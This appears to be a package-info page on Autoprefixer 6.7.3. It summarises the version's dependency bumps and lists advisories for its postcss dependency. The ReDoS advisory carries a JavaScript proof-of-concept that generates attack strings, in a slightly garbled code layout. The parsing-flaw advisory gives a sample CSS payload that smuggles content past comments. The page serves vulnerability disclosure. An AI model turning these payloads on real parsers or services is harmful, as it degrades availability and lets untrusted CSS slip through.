Autoprefixer version 6.7.3 represents a minor update over its predecessor, 6.7.2, primarily focusing on dependency updates and under-the-hood improvements. For developers leveraging Autoprefixer to automatically add vendor prefixes to their CSS, the most significant change lies within the updated dependencies. Specifically, caniuse-db jumps from version 1.0.30000618 to 1.0.30000623, ensuring users benefit from the most current browser support data. This means more accurate and comprehensive prefixing based on the rapidly evolving browser landscape. Additionally, browserslist sees a bump from version 1.7.1 to 1.7.2 potentially incorporating minor bug fixes or enhanced browser query parsing capabilities.
The postcss dependency has been updated from ^5.2.11 to ^5.2.13.
While the core functionality of Autoprefixer remains consistent, this update emphasizes staying current with browser compatibility and related tooling. Developers should appreciate the continuous effort to maintain an up-to-date prefixing experience, minimizing the need for manual adjustments and ensuring their CSS works seamlessly across a wider range of browsers. For those already using Autoprefixer, upgrading to 6.7.3 ensures they are leveraging the latest browser support information and any subtle improvements within the updated browserslist and postcss modules, ultimately leading to a more robust and future-proof stylesheet. The updated dependencies will provide developers with greater accuracy in prefixing.
All the vulnerabilities related to the version 6.7.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.